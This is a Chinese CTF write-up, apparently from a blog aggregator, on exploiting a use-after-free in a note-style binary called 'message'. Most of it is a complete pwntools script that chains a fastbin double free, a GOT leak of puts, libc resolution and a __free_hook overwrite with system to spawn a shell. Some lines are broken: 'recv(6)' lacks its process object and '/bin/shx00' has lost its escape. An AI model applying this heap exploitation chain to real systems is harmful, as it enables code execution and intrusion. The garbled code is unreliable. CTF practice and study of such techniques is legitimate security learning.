message
程序员文章站
2022-05-25 13:00:29
...
第二道fastbin double free。
free(*(void **)&dword_602060[4 * v1 + 2]);
dword_602060[4 * v1] = 0;
--dword_60204C;
这里没有把指针置为null,所以会产生uaf漏洞。
ida大体分析了一下就会发现,由于没有后门函数,这道题会比上一道难。而且由于RELRO的开启,got所在的数据段是只读的,这里研究一下relro这个保护。
uaf漏洞的利用方式有多种,其中就有修改got表达到任意地址写,从而getshel。但是RELRO这个保护,通过将got表所在的地址变成只读,有效阻止了got表覆盖攻击。
所以说这道题我们不能用覆盖got表的方式来getshell,而是需要用freehook劫持的方式。
大体思路是先通过fastbin double free构造fake chunk指向储存chunk的content的地址并泄露puts函数的真实地址,再获得libc基址,借此修改freehook,使它指向system并调用。
from pwn import *
from LibcSearcher import *
#p = remote('124.70.35.238',23717)
p = process('./message')
context.log_level = 'debug'
elf = ELF('./message')
def add(size,content = b'a'):
p.sendafter(':','1')
p.sendafter(':',str(size))
p.sendafter(':',content)
def free(idx):
p.sendafter(':','2')
p.sendafter(':',str(idx))
def edit(idx,content):
p.sendafter(':','3')
p.sendafter(':',str(idx))
p.sendafter(':',content)
def show(idx):
p.sendafter(':','4')
p.sendafter(':',str(idx))
#gdb.attach(p)
add(0x30)#chunk0,set as the fake chunk
add(0x20)#chunk1
add(0x20)#chunk2
free(1)
free(2)
free(1)#fastbin: chunk1-->chunk2-->chunk1
fake_chunk_addr = 0x602060 - 0x8
add(0x20,p64(fake_chunk_addr))#chunk3-->1
#fastbin: fake_chunk-->chunk1-->chunk2-->chunk1
add(0x20)#chunk4-->2
add(0x20)#chunk5-->1
add(0x20,p64(elf.got['puts']))#chunk6..>fake chunk
#leak the address
show(0)
puts = u64(recv(6))
libc = LibcSearcher('puts', puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
free_hook = libc_base + libc.dump('__free_hook')
edit(6,p64(free_hook))
edit(0,p64(system))
#free_hook = system
add(0x8,'/bin/shx00')
free(7)
#process system(/bin/sh)
推荐阅读
-
java调用sqlldr报错:Message 2100 not found
-
利用Jmail.Message发送邮件
-
message() 信息提示
-
ORA-27300: OS system dependent operation:sendmsg failed with status: 105 ORA-27301: OS failure message: No buffer space available
-
Appium新版本遇到的问题,不能通过 name 去定位元素抛 Message: Locator Strategy 'name' is not supported for this session
-
优化 Git Commit Message
-
最新版利用CDO.Message做的vbs下载者
-
[视频]Facebook iOS客户端 新增Message转账汇款功能
-
C# WPF遮罩对话框(Popup Message Overlay/ Dialog Host)
-
HMAC(Hash-based Message Authentication Code)实现原理